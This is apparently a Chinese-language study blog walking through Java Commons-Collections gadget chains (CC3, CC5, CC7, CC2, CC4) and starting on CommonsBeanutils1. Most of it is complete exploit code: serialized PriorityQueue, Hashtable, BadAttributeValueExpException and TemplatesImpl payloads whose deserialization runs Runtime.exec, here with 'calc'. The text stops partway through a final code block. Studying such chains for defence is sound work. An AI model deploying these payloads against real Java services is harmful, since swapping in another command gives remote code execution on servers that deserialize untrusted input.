byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
|
![image-20231018212104349](/../images/45Java_CC%E9%93%BE1-7/image-20231018212104349.png)
我们下断点调试,
![image-20231018212525132](/../images/45Java_CC%E9%93%BE1-7/image-20231018212525132.png)
![image-20231018212650729](/../images/45Java_CC%E9%93%BE1-7/image-20231018212650729.png)
所以我们直接改变superClass即可,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet { static { System.out.println(123123); }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
1 2 3 4 5 6 7
| static { try{ Runtime.getRuntime().exec("calc"); }catch (IOException e){ throw new RuntimeException(e); } }
|
到此,以上代码能够通过newTransformer函数调用了,后面就是接壤CC1的链子调用了。
以上可以再稍微改善一下,通过这串代码引入code,不过需要额外添加依赖,比用绝对路径优雅一点:
1 2 3 4
| ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(Evil.class.getName()); byte[] code = clazz.toBytecode(); byte[][] codes = {code};
|
第四阶段-接壤cc1链【CC1LazyMap+CC6高版本JDK】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> hashmap = new HashMap<>(); Map decorate = LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"123");
serialize(hashMap); unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
来看InstantiateTransformer类的transform方法,相当于传入一个对象的Class会调用构造这个对象,就会触发其构造函数。
![image-20231018230558941](/../images/45Java_CC%E9%93%BE1-7/image-20231018230558941.png)
再来看TrAXFilter类,其构造函数会调用newTransformer
![image-20231018230943208](/../images/45Java_CC%E9%93%BE1-7/image-20231018230943208.png)
这样连起来就是,
1 2 3 4 5 6
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
有人疑惑为什么不直接使用TrAXFilter类呢?
因为TrAXFilter是不能序列化的。
所以我们这样修改就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",null,null) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> hashmap = new HashMap<>(); Map decorate = LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"123");
serialize(hashMap); unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception { System.out.println("Hello world!");
TemplatesImpl templates = new TemplatesImpl(); Class templatesClass = templates.getClass(); Field _nameField = templatesClass.getDeclaredField("_name"); _nameField.setAccessible(true); _nameField.set(templates,"aaa");
byte[] code = Files.readAllBytes(Paths.get("E:\\03code_environment\\02java\\04idea_cc\\cc3\\target\\classes\\org\\example\\Evil.class")); byte[][] codes = {code}; Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes"); _bytecodesField.setAccessible(true); _bytecodesField.set(templates,codes);
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory"); _tfactoryField.setAccessible(true); _tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object,Object> hashmap = new HashMap<>(); Map decorate = LazyMap.decorate(hashmap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"123");
serialize(hashMap); unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
CC5链分析
利用链
1 2 3 4 5 6
| BadAttributeValueExpException.readObject() TiedMapEntry.toString() TiedMapEntry.getValue() LazyMap.get() ChainedTransformer.transform() InvokerTransformer.transform()
|
在CC5链中ysoserial给出的提示是需要JDK1.8并且SecurityManager
需要是关闭的。先来介绍一下SecurityManager
是干嘛的。SecurityManager
也就是java的安全管理器,当运行未知的Java程序的时候,该程序可能有恶意代码(删除系统文件、重启系统等),为了防止运行恶意代码对系统产生影响,需要对运行的代码的权限进行控制,这时候就要启用Java安全管理器。该管理器默认是关闭的。
分析
可以看到,LazyMap往下都是cc1的内容,我们直接从LazyMap类的get方法调用出发。
1 2 3 4 5 6 7 8 9
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> decorate = LazyMap.decorate(new HashMap<>(),chainedTransformer); decorate.get("123");
|
我们来看TiedMapEntry类,在cc6中,我们用的是TiedMapEntry的getValue方法,其中hashCode方法和toString方法都调用了getValue方法。cc6是利用了hashCode方法,这里的toString方法也可以利用,这就是cc5的链了,看图
![image-20231019110628352](/../images/45Java_CC%E9%93%BE1-7/image-20231019110628352.png)
![image-20231019110414181](/../images/45Java_CC%E9%93%BE1-7/image-20231019110414181.png)
接着我们直接跳到BadAttributeValueExpException类,查看其readObject方法
![image-20231019110857198](/../images/45Java_CC%E9%93%BE1-7/image-20231019110857198.png)
我们只需要反射控制val字段就行,很简单的一条链子
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args)throws Exception { System.out.println("Hello world!");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> decorate = LazyMap.decorate(new HashMap<>(),chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,123); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1); Field valField = badAttributeValueExpException.getClass().getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException); unserialize("test.bin");
} public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
CC7链分析
参考
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections7
https://cloud.tencent.com/developer/article/2278268
https://blog.csdn.net/qq_35733751/article/details/119862728
调用链
1 2 3 4 5 6 7 8 9 10 11 12 13
| java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec
|
分析-Hashtable
首先直接来看java.util.Hashtable类,其中的readObject方法,可以看到readObject方法会触发reconstitutionPut方法的调用,里面进行了hash值和key值的比较,我们需要让&&前的hash相等,然后来到key值这里调用equal函数。也就是调用LazyMap的equal函数,他没有实现,会调用父类AbstractMapDecorator的equal函数,此equal函数调用的是HashMap的equal函数,HashMap也没有equal函数,再看父类的AbstractMap类的equal函数,此函数会触发m.get函数,进而达到我们的目的。
![image-20231019134559645](/../images/45Java_CC%E9%93%BE1-7/image-20231019134559645.png)
![image-20231019134528904](/../images/45Java_CC%E9%93%BE1-7/image-20231019134528904.png)
![image-20231019134636291](/../images/45Java_CC%E9%93%BE1-7/image-20231019134636291.png)
最终payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package org.example;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.*;
public class Main { public static void main(String[] args)throws Exception { System.out.println("Hello world!");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Map innerMap1 = new HashMap(); Map lazyMapDecorate1 = LazyMap.decorate(innerMap1,chainedTransformer); lazyMapDecorate1.put("yy",123);
Map innerMap2 = new HashMap(); Map lazyMapDecorate2 = LazyMap.decorate(innerMap2,chainedTransformer); lazyMapDecorate2.put("zZ",123);
Hashtable hashtable = new Hashtable(); hashtable.put(lazyMapDecorate1,1); hashtable.put(lazyMapDecorate2,2);
Field iTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers"); iTransformers.setAccessible(true); iTransformers.set(chainedTransformer,transformers);
lazyMapDecorate2.remove("yy");
serialize(hashtable); unserialize("test.bin");
} public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin")));; out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
CC2链分析
环境配置
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
1 2 3 4 5
| <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency>
|
分析:
因为目前 commons-collections 有两个大版本 3 和 4, 而 cc2 cc4 这两条链就是 ysoserial 给 commons-collections4 准备的。当然其它 cc 链经过简单的修改之后也能够在 commons-collections4 中使用
cc2 的利用链
1 2 3 4 5 6 7 8
| Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
![image-20231226132100971](/../images/45Java_CC%E9%93%BE1-7/image-20231226132100971.png)
1 2 3 4 5 6 7 8
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import java.util.Comparator; import java.util.PriorityQueue;
|
调用分析:
首先看java.util.PriorityQueue这个类。
java.util.PriorityQueue#readObject
![image-20231226134209940](/../images/45Java_CC%E9%93%BE1-7/image-20231226134209940.png)
java.util.PriorityQueue#heapify
![image-20231226134258629](/../images/45Java_CC%E9%93%BE1-7/image-20231226134258629.png)
java.util.PriorityQueue#siftDown
![image-20231226134346949](/../images/45Java_CC%E9%93%BE1-7/image-20231226134346949.png)
java.util.PriorityQueue#siftUpUsingComparator
![image-20231226134435694](/../images/45Java_CC%E9%93%BE1-7/image-20231226134435694.png)
然后看org.apache.commons.collections4.comparators.TransformingComparator这个类。
![image-20231226134607491](/../images/45Java_CC%E9%93%BE1-7/image-20231226134607491.png)
最终的调用链就是这个:
![image-20231226132100971](/../images/45Java_CC%E9%93%BE1-7/image-20231226132100971.png)
payload代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| package org.example;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Comparator; import java.util.PriorityQueue; public class Main { public static void main(String[] args) throws Exception { System.out.println("Hello world!");
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)}); Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(2);
Class transformerChainClass = transformerChain.getClass(); Field iTransformersField = transformerChainClass.getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(transformerChain,transformers);
unserialize("test.bin"); } public static void serialize(Object o)throws Exception{ ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(Paths.get("test.bin"))); out.writeObject(o); } public static void unserialize(String name)throws Exception{ ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(name))); in.readObject(); } }
|
反序列化弹出了两次计算器,懒得分析了,先这样吧,能弹就好了。
CC4链分析
https://exp10it.cn/2022/11/commonscollections-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonscollections2
分析:
cc4 就是将 cc2 的 InvokerTransformer 替换成了 InstantiateTransforme, 然后利用 TemplatesImpl 来执行字节码
paylaod:
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Comparator; import java.util.PriorityQueue;
public class Main { public static String filePath = "test.bin";
public static void main(String[] args) throws Exception{
byte[] code = getTemplates(); TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Hello"); setFieldValue(templates, "_bytecodes", new byte[][]{code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
Comparator comparator = new TransformingComparator(transformerChain);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator); priorityQueue.add(1); priorityQueue.add(2);
setFieldValue(transformerChain, "iTransformers", transformers); ser(priorityQueue); unser();
} public static byte[] getTemplates() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass template = pool.makeClass("MyTemplate"); template.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
template.makeClassInitializer().insertBefore(block); return template.toBytecode(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(filePath)); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void unser() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); in.readObject(); } }
|
![image-20231226141037359](/../images/45Java_CC%E9%93%BE1-7/image-20231226141037359.png)
疑问
CC6链一直有一个地方弄不明白,就是HashMap和LazyMap以及TiedMapEntry放到一起那里,以及为什么要remove,调试时的变量信息是我无法理解的,查了源码也不懂为什么是那样的变量信息,暂时记录以下吧。去记忆了而不是去解决它了,以后有能力了再来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| // System.out.println("hello"); // // Map<Object,Object> hashmap = new HashMap<>(); // hashmap.put("key","value"); // Map decorate = LazyMap.decorate(hashmap,new ConstantTransformer("asd")); // TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123"); // // System.out.println("end");
String a = "123"; A aer = new A(a); System.out.println(aer.mya);
aer.mya = "456"; System.out.println(a);
|
总结
CC链就先分析到这里,8、9、10等剩下的链以后再接着分析;
CC链1-7涉及两个CC版本,3.1和4.0;
3.1版本基本就是通过各种途径去调用LazyMap#get
,从而实现RCE;
4.0版本则是通过调用TransformingComparator#compare
来实现RCE;
相同点都在于是为了调用transform()
;
虽然几条链分析下来都大同小异,但也提升了不少分析代码的能力,获益匪浅。
CommonsBeanutils1
https://github.com/Y4tacker/JavaSec/blob/main/2.%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/CommonsBeanutils1/CommonsBeanutils1%E7%AC%94%E8%AE%B0.md
https://exp10it.cn/2022/12/shiro-550-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/#commonsbeanutils1-%E5%88%A9%E7%94%A8%E9%93%BE
https://blog.csdn.net/rfrder/article/details/119987906
https://www.cnblogs.com/yyhuni/p/15644299.html
环境配置和依赖:
https://blog.csdn.net/baidu_39120378/article/details/103715593
这里只需要导入shiro的依赖即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <!--shiro的包--> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-all</artifactId> <version>1.4.1</version> </dependency> <!--servlet 相关的包--> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.0.1</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>4.2.5.RELEASE</version> </dependency>
|
可见shiro的依赖包括了commons-beanutils和commons-collections,因此我们只需要导入shiro依赖就足够了。
![image-20231226152420774](/../images/45Java_CC%E9%93%BE1-7/image-20231226152420774.png)
预备知识:
之所以学习CommonsBeanutils的反序列化链,是因为shiro依赖于commons-beanutils。
根据名字commons-collections是对集合的封装和补充,那么commons-beanutils是应用于javabean的工具。
javabean维基百科定义:
- 有一个public的无参构造函数
- 属性可以通过set、get、is方法或遵循特定命名的其他方法访问
- 可序列化
第二条即属性都有访问器和修改器,commons-beanutils中提供了一个静态方法PropertyUtils.getProperty,使用者可以调用任意JavaBean的getter方法。
org.apache.commons.beanutils.PropertyUtils#getProperty方法:
![image-20231226153027441](/../images/45Java_CC%E9%93%BE1-7/image-20231226153027441.png)
说白了就是,一个Person类是JavaBean,他有name属性,则PropertyUtils.getProperty(new Person(),”name”)会调用他的getName方法。
链子:
1 2 3 4 5 6 7 8 9 10 11 12 13
| PriorityQueue.readObject() PriorityQueue.heapify() -> PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() -> BeanComparator.compare() -> PropertyUtils.getProperty(TemplatesImpl, outputProperties) -> TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses()
|
链子分析:
链子尾部
这条链子尾部是衔接TemplatesImpl#getOutputProperties()的,所以
1 2 3
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
TemplatesImpl.getOutputProperties()
,它是一个 getter 方法,并且作用域为 public,所以可以通过 CommonsBeanUtils 中的PropertyUtils.getProperty()
方式获取,这里我们的PropertyUtils.getProperty()
对应的参数应该这么传
1 2
| // 伪代码 PropertyUtils.getProperty(TemplatesImpl, outputProperties)
|
开始部分和中间链子
接着看看谁调用了PropertyUtils.getProperty(),查找用法,找不到就奇怪,先不管它了。。
![image-20231226182631513](/../images/45Java_CC%E9%93%BE1-7/image-20231226182631513.png)
我们直接来到BeanComparator的compare方法,看到它调用了PropertyUtils.getProperty()
![image-20231226182923380](/../images/45Java_CC%E9%93%BE1-7/image-20231226182923380.png)
继续找谁调用了 compare() 方法,这里就太多了,我们优先去找能够进行序列化的类,于是这里找到了PriorityQueue
这个类。
![image-20231226184100252](/../images/45Java_CC%E9%93%BE1-7/image-20231226184100252.png)
到这里似乎就是我们熟悉的CC2优先级队列那里的调用部分了。直接看链子
1 2 3 4
| ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare()
|
全部链子连到一块
1 2 3 4 5 6 7 8 9 10 11 12 13
| PriorityQueue.readObject() PriorityQueue.heapify() -> PriorityQueue.siftDown() PriorityQueue.siftDownUsingComparator() -> BeanComparator.compare() -> PropertyUtils.getProperty(TemplatesImpl, outputProperties) -> TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses()
|
![img](https://image.3001.net/images/20220714/1657788089_62cfd6b9b34e1cb8f48d5.png)
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependencies> <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-all</artifactId> <version>1.4.1</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.22.0-GA</version> </dependency> </dependencies>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| package org.example;
